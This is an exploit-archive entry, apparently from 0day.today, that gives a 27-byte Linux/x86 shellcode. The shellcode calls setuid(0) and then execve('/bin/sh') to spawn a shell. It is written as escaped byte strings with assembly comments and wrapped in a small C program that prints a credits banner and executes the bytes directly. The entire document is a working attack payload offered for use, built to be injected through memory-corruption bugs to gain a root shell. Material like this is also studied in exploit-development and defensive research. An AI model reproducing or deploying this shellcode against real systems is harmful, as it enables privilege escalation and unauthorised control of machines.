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Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (27 bytes)
[#include <stdio.h>
const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER tha push/pop
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena //bin/sh con un 0
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3" //mov ebx,esp
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h
int main()
{
printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE "
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by vlan7"
"\n\t + vlan7[at]bigfoot.com"
"\n\t + http://vlan7.blogspot.com"
"\n\n[+] Date: 4/Jul/2009"
"\n[+] Thanks to: sch3m4. He initiated the funny game."
"\n\n[+] Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);
(*(void (*)()) sc)();
return 0;
}
# 0day.today [2024-12-25] #